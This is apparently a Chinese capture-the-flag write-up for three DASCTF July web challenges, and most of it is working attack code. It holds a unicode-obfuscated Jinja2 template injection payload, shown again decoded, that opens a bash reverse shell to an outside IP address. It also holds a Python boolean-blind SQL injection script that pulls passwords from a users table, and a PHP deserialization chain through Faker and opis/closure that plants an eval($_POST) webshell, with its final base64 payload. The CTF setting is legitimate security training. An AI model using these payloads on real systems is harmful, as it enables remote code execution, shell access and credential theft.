dasctf 7月赛
Harddisk
ssti,过滤比较狠,不能用{{}}
但是可以用{%%}
,过滤了很多,直接拿attr
加上unicode编码即可。只能盲打,所以来个反弹shell。折磨。
{%for%0dc%0din%0d()|attr("\u005F\u005F\u0063\u006C\u0061\u0073\u0073\u005F\u005F")|attr("\u005F\u005F\u0062\u0061\u0073\u0065\u005F\u005F")|attr("\u005F\u005F\u0073\u0075\u0062\u0063\u006C\u0061\u0073\u0073\u0065\u0073\u005F\u005F")()%}{%if%0dc|attr("\u005F\u005F\u006E\u0061\u006D\u0065\u005F\u005F")=="\u0049\u006E\u0063\u0072\u0065\u006D\u0065\u006E\u0074\u0061\u006C\u0045\u006E\u0063\u006F\u0064\u0065\u0072"%}{%if%0dc|attr("\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F")|attr("\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F")|attr("\u005F\u005F\u0067\u0065\u0074\u0069\u0074\u0065\u006D\u005F\u005F")("\u005F\u005F\u0062\u0075\u0069\u006C\u0074\u0069\u006E\u0073\u005F\u005F")|attr("\u005F\u005F\u0067\u0065\u0074\u0069\u0074\u0065\u006D\u005F\u005F")("\u0065\u0076\u0061\u006C")("\u005F\u005F\u0069\u006D\u0070\u006F\u0072\u0074\u005F\u005F\u0028\u0022\u006F\u0073\u0022\u0029\u002E\u0070\u006F\u0070\u0065\u006E\u0028\u0022\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u0027\u0062\u0061\u0073\u0068\u0020\u002D\u0069\u0020\u003E\u0026\u002F\u0064\u0065\u0076\u002F\u0074\u0063\u0070\u002F\u0034\u0037\u002E\u0039\u0036\u002E\u0031\u0037\u0033\u002E\u0031\u0031\u0036\u002F\u0032\u0033\u0033\u0033\u0020\u0030\u003E\u0026\u0031\u0027\u0022\u0029\u002E\u0072\u0065\u0061\u0064\u0028\u0029")%}{%endif%}{%%0dendif%0d%}{%%0dendfor%0d%}
解码:
{%for%0dc%0din%0d()|attr("__class__")|attr("__base__")|attr("__subclasses__")()%}{%if%0dc|attr("__name__")=="IncrementalEncoder"%}{%if%0dc|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__("os").popen("bash -c 'bash -i >&/dev/tcp/47.96.173.116/2333 0>&1'").read()")%}{%endif%}{%%0dendif%0d%}{%%0dendfor%0d%}
Ez to getflag
直接读文件那里读/flag
(绝壁非预期)
绝对防御
给了一堆js,而且还有ws,以为考js,直接开摆了。交给队里会js的同学,找到一个SUPERAPI.php
,但是我太摆了,直接没看,原来tmd f12可以看到垃圾前端的过滤!明显sql注入。直接抓包绕过前端的黑名单,然后fuzz一下后端的黑名单,直接布尔盲注解决。
exp.py
from time import sleep
import requests
url = 'http://6a965fad-ca4e-4afa-9f67-953b9cf383a2.node4.buuoj.cn:81/SUPPERAPI.php?id='
#id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
result = ''
i = 1
while (1):
left = 32
right = 128
while (1):
mid = (left + right) // 2
if left == right:
result += chr(left)
print(result)
i += 1
break
payload = "1 and (ascii(substr((select group_concat(password) from users),{},1))>{})--".format(i, mid)
temp = url + payload
res = requests.get(url=temp)
if res.status_code != 200:
sleep(1)
res = requests.get(url=temp)
if 'admin' in res.text:
left = mid + 1
else:
right = mid
if (right == 32):
break
print('[*]Result ' + result)
Newser
composer.json
泄露(没想到要扫后台)。将json复制到本地进行下载。发现fakerphp/faker
和laravel
里面的一个依赖很像。开始找反序列化链。发现没有__toString
。所以只能找__get
了。然后wp里面那个ValidGenerator
被ban了,说能用,应该也是需要反序列化闭包的。然后只有那个带__wakeup
的,需要绕过。详细可以找laravel
的绕过方式。
Generator.php
public function __get($attribute)
{
trigger_deprecation('fakerphp/faker', '1.14', 'Accessing property "%s" is deprecated, use "%s()" instead.', $attribute, $attribute);
return $this->format($attribute);
}
||
\/
public function format($format, $arguments = [])
{
return call_user_func_array($this->getFormatter($format), $arguments);
}
然后发现只能调用无参构造函数。但是还有一个Closure
依赖,这个可以序列化函数。https://www.gaojiufeng.cn/?id=386
绕过__wakeup
需要找到另一个类的__wakeup
或者__destruct
里面赋值的操作,然后User的刚好符合。
public function __wakeup()
{
$this->password = $this->_password;
}
将formatters
设置为password
的引用,然后wakeup
时候就会将formatters
赋值为_password
。这样就绕过wakeup
了。所以最终exp:
<?php
namespace {
class User
{
private $instance;
public $password;
protected $_password;
public function __construct()
{
$this->instance = new \Faker\Generator($this);
$a = function (){eval($_POST[1]);};
require "vendor/opis/closure/autoload.php";
$b = \Opis\Closure\serialize($a);
$c = unserialize($b);//用Closure的unserialize会无法序列化
$this->_password = array("_username"=>$c);
}
}
echo base64_encode(serialize(new User()));
}
namespace Faker{
class Generator{
protected $formatters = [];
public function __construct($formatters)
{
$this->formatters = &$formatters->password;
}
}
}
需要修改password
的序列化之后的属性为private
。
Tzo0OiJVc2VyIjozOntzOjE0OiIAVXNlcgBpbnN0YW5jZSI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjtOO31zOjE0OiIAVXNlcgBwYXNzd29yZCI7UjozO3M6MTI6IgAqAF9wYXNzd29yZCI7YToxOntzOjk6Il91c2VybmFtZSI7QzozMjoiT3Bpc1xDbG9zdXJlXFNlcmlhbGl6YWJsZUNsb3N1cmUiOjE2MTp7YTo1OntzOjM6InVzZSI7YTowOnt9czo4OiJmdW5jdGlvbiI7czoyOToiZnVuY3Rpb24gKCl7ZXZhbCgkX1BPU1RbMV0pO30iO3M6NToic2NvcGUiO3M6NDoiVXNlciI7czo0OiJ0aGlzIjtOO3M6NDoic2VsZiI7czozMjoiMDAwMDAwMDAxZjI5ZjBmNTAwMDAwMDAwMzE2NzFiNWUiO319fX0=